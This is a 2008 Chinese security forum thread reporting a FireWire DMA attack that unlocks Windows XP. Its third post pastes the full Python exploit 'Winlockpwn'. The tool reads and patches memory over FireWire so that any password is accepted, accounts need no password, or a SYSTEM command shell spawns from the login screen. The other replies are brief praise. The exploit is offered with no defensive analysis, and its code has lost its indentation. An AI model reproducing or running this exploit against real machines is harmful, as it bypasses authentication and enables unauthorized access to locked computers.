文本版|topic 高级搜索
   名人堂 帮助 论坛制度 意见反馈 | 首页 博客 周新贴 专题 求职 读书
RSS 底部
 
社区导航: 专家门诊   网络技术   操作系统   数据库   程序设计   系统应用   考试认证   CIO及信息化   站长交流   综合交流   下载基地  51CTO产品服务 设为首页 | 收藏本站
51CTO技术论坛» 网络安全 » Windows 密码可用火线(IEEE1394)轻易突破?!       [ 打印]  [ 订阅]  [ 收藏]  [ 推荐给朋友]   [ 本帖文本页]

论坛跳转:
     
标题: [转载] Windows 密码可用火线(IEEE1394)轻易突破?!  ( 查看:364  回复:7 )   
 
SimpleLove
副版主  点击可查看详细


帖子 1933
精华 7
无忧币 7057
积分 5735
阅读权限 140
注册日期 2006-1-11
最后登录 2008-8-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-3-10 01:18   标题:Windows 密码可用火线(IEEE1394)轻易突破?!
上一帖 |
来自新西兰的亚当布瓦洛宣布,他已经找出办法来解锁Windows的密码,但实现解密的前提条件是这台电脑上包含火线(IEEE1394)接口.
它用一台Linux主机连接火线,只需要一次重启就可以骗过Windows验证,允许读写所有的存储器--这样就可以轻松突破Windows防线.

该问题主要来源于火线的直接内存访问(DMA)机制安全性设计不够到位,以至于被黑客轻松钻了空子.



好好学习,天天向上
2008-3-10 01:181楼
[ 顶部 ]
 
SimpleLove
副版主  点击可查看详细


帖子 1933
精华 7
无忧币 7057
积分 5735
阅读权限 140
注册日期 2006-1-11
最后登录 2008-8-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-3-10 01:19 
消息才发布不久,攻击代码就已经现身了。。。



好好学习,天天向上
2008-3-10 01:192楼
[ 顶部 ]
 
SimpleLove
副版主  点击可查看详细


帖子 1933
精华 7
无忧币 7057
积分 5735
阅读权限 140
注册日期 2006-1-11
最后登录 2008-8-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-3-10 01:20 
Firewire(1394/火线)搞定你的WIN PC的攻击代码

rom:幻影maillist

#!/usr/bin/python
# Windows locked screen remote firewire unlockor
# Metlstorm 2k6
# Uh, private use only, not for public distro, kthx.

import sys
import firewire
import binascii
import time

VER=1.5
VERSTR="Winlockpwn v%s Metlstorm, 2k6. <metlstorm@storm.net.nz>" % VER

# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at patchoffset
# bytes from the beginning of the signature.

targets=[{
"name":"WinXP SP2 Fast User Switching Unlock",
"notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"8BD8F7DB1ADBFEC3",
"pageoffset":[2905],
"patch":"bb01000000eb0990",
"patchoffset":0}]
},
{"name":"WinXP SP2 Unlock",
"notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"0502000010",
"pageoffset":[3696],
"patch":"b801000000",
"patchoffset":0}]
},
{"name":"WinXP SP2 msv1_0.dll technique",
"notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",
"phase":[{
"sig":"8BFF558BEC83EC50A1",
"pageoffset":[0x927],
"patch":"B001",
"patchoffset":0xa5}]
},
{"name":"WinXP SP2 utilman cmd spawn",
"notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",
"phase":[
{"name":"Patch code",
"sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
"pageoffset":[0x39f],
"patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
"patchoffset":0x0},
{"name":"Patch data",
"sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
"pageoffset":[0x9ac, 0x5ac, 0x3ac],
"patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
"patchoffset":0x0,
"keepgoing":True,
}
]
}
]

start = 0x8000000L
end = 0xffffffffL
chunk = 4096

print VERSTR

def printTargets(targets):
i = 1
print " Available Targets:"
for t in targets:
print " %2d: %s" % (i, t["name"])
i+=1
print "\nTarget Notes:\n"
for t in targets:
print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])

def usage():
print "Usage: winlockpwn port node target [start-end]"
print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."
print " - Target should be one of the numbered targets listed below."
print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."
print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"
printTargets(targets)
sys.exit(1)

if len(sys.argv) < 4:
usage()

try:
port = int(sys.argv[1])
node = int(sys.argv[2])
targetno = int(sys.argv[3])
if len(sys.argv) > 4:
start,end = firewire.parseRange(sys.argv[4])
if end == None:
end = 0xffffffffL
except ValueError:
usage()

if targetno < 1 or targetno > len(targets):
usage()

target = targets[targetno -1]

print "Target Selection:"
print " Name : %s" % target["name"]
print " Notes : %s" % target["notes"]
for p in target["phase"]:
if p.has_key("name"):
print "Phase: %s" % p["name"]
print " Pattern: 0x%s" % p["sig"]
print " Offset : %s" % p["pageoffset"]
print " Patch : 0x%s" % p["patch"]
print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start : 0x%x" % start
print " Stop : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
if len(p["sig"]) + so > chunk:
print "Uh oh, signature crosses page boundary. This isn't supported :("
sys.exit(1)
if so + p["patchoffset"] > chunk:
print "Uh oh, patch offset crosses page boundary. This isn't supported :("
sys.exix(1)

print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."
sys.stdout.flush()

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
try:
print "Phase: %s" % p["name"]
except KeyError:
pass
signatureoffset=p["pageoffset"]
eviloffset = p["patchoffset"]
payload = binascii.unhexlify(p["patch"])
pattern = binascii.unhexlify(p["sig"])
eviladdr = None
for offset in range(start, end, chunk):
now = time.time()
if now > (last + 1):
last = now
print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),
sys.stdout.flush()

for so in signatureoffset:
mem = n.read(offset + so , len(pattern))
if mem == pattern:
print "Found signature at 0x%08x" % (offset + so)
eviladdr = offset + so + p["patchoffset"]
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
break
if eviladdr != None:
won = True
print "Setting up teh bomb...",
n.write(eviladdr, payload)
print "Donezor!"
verify=n.read(eviladdr, len(payload))
print "Verified evil: 0x%s" % (binascii.hexlify(verify))
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
if p.has_key("keepgoing") and p["keepgoing"]:
eviladdr = None
else:
break

if won:
print "You may proceed with your nefarious plans"
else:
print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)




好好学习,天天向上
2008-3-10 01:203楼
[ 顶部 ]
 
l7589789
技术员  点击可查看详细


十二生肖之蛇   天秤座   行业勋章   技术勋章   诚信兄弟  
帖子 564
精华 0
无忧币 192
积分 564
阅读权限 30
注册日期 2007-12-10
最后登录 2008-9-5 离线

[查看资料]  [发短消息]  [Blog
  QQ       
发表于:2008-3-10 09:38 
为了学习而学习



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-3-10 09:384楼
[ 顶部 ]
 
patrriot
新新人类  点击可查看详细



十二生肖之马   狮子座   行业勋章   技术勋章   诚信兄弟  
帖子 66
精华 0
无忧币 1055
积分 123
阅读权限 20
来自 (保密)
注册日期 2007-8-9
最后登录 2008-9-1 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-3-12 09:26 
强!



强烈推荐:《2007网络安全精品黄皮书》
2008-3-12 09:265楼
[ 顶部 ]
 
f_gon
新新人类  点击可查看详细



帖子 48
精华 0
无忧币 35
积分 49
阅读权限 20
注册日期 2006-12-23
最后登录 2008-3-24 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-3-12 16:16 
强!



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-3-12 16:166楼
[ 顶部 ]
 
sean0911
新新人类  点击可查看详细



帖子 72
精华 0
无忧币 5
积分 72
阅读权限 20
注册日期 2008-4-4
最后登录 2008-4-27 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-4-4 13:52 
谢谢大大分享
感谢嘿
我来看看



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-4-4 13:527楼
[ 顶部 ]
 
sean0911
新新人类  点击可查看详细



帖子 72
精华 0
无忧币 5
积分 72
阅读权限 20
注册日期 2008-4-4
最后登录 2008-4-27 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-4-4 13:52 
谢谢大大分享
感谢嘿
我来看看



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-4-4 13:528楼
[ 顶部 ]
     
论坛跳转:  

| | |

| | |

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP
 
| 诚征版主 | 版主堂 | 意见建议 | 大史记 | 论坛地图
Copyright©2005-2008 51CTO.COM  Powered by Discuz!
本论坛言论纯属发布者个人意见,不代表51CTO网站立场!如有疑义,请与管理员联系。
京ICP备05051492号